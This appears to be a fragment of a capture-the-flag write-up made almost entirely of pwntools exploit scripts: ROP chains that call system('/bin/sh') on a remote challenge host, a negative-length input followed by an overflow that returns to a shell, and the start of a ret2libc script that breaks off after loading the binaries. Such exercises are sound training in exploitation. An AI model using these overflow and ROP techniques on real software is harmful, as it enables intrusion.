from pwn import* io=remote('gz.imxbt.cn',20884) elf=ELF('./where_is_my_binsh') bin_sh=0x0404090 system=elf.sym['system']
ret=0x040101a rdi=0x0401323
io.sendlineafter('If you want it ,then you have to create it:',b'/bin/sh\x00') payload=cyclic(0x10+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)+p64(0x40123F) io.sendlineafter('Do you find what you want now ?',payload)
from pwn import* io=remote('gz.imxbt.cn',20965) bin_sh=0x40126A ret=0x40101a io.sendlineafter('How many steps do you wang her to walk:',b'-1') payload=cyclic(0x30+8)+p64(ret)+p64(bin_sh) io.sendline(payload)
io.interactive()
ret2libc
简单的64位ret2libc。
from pwn import* elf=ELF('./ret2libc') libc=ELF('./ret2libc.so.6')